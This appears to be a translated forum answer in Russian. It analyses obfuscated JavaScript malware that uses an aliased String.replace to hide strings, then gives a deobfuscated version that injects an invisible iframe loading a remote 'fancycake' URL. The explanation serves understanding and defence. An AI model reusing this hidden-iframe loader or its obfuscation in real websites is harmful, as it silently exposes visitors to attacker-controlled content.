Он встраивает http://fancycake.xxx/something,, и это строка, где вы можете его увидеть:
return 'h+tbtJpx:J/+/JfxaxnJc+yJc+abkJeb.xnJeMtM/x.xpxh+/b1M/+'.gT(/[\+JbMx]/g, '');
Вы видите, как каждый нечетный символ, когда выдернут из этой строки, формирует URL.Я не запускал это, поэтому я не уверен, при каких условиях это происходит, но вы можете видеть, что String.replace
был переименован в String.gT
и ему передается регулярное выражение для символов, которые делают строку запутанной.Если вы примените тот же метод, выбирая нечетные символы, вы увидите, что есть скрытый iframe, некоторые обработчики событий javascript, setAttribute
и т. Д .:
var z = 'sNeatoA%totor%i%b%u%toeN'.gT(/[Na%ox]/g, '');
var o = 'vKiKsAi&bGiKlAiKtHyH'.gT(/[HGK&A]/g, '');
var e = 'atp9p9eWn9d:C9htitl5d:'.gT(/[\:t59W]/g, '');
Вот как псевдоним String.replace
:
var d = 'replace';
...
String.prototype.gT = function (l, v) {
return this[d](l, v)
};
В контексте этой функции this
- это строка, по которой вызывается gT
, а d
- строка replace
.В прототипе строки this['replace']
возвращает метод replace()
, который затем вызывается с двумя аргументами gT
.Затем возвращается результат.
Обновление
Я преобразовал скрипт так:
- Заменил все вызовы
string.gT()
на их простыеформ. - Удалены все переменные, на которые нет ссылок.
- Дали функциям некоторые имена в здравом смысле.
Это результат, он должен быть довольно понятнымкак это работает сейчас:
function FancyCake() {};
FancyCake.prototype = {
embed: function () {
var d = 'replace';
var s = document;
var b = window;
var sV = 'setTimeout';
var f = "<html ><head ></head><body ></body></html>";
try {
zI = '';
var bF = new Array();
var y = 'body';
var r = 'style';
var bQ = 'iframe';
var t = 'write';
var n = 'createElement';
var k = 'src';
var z = 'setAttribute';
var dH = 'hidden';
var o = 'visibility';
var e = 'appendChild';
var c = this.getUrl();
var u = document[n](bQ);
u[r][o] = dH;
u[z](k, c);
s[y][e](u);
} catch (e) {
console.error(e);
s.write(f);
var cake = this;
b[sV](function () {
cake.embed();
}, 326);
}
},
getUrl: function () {
return "http://fancycake.net/.ph/1/";
}
};
var cake = new FancyCake();
cake.embed();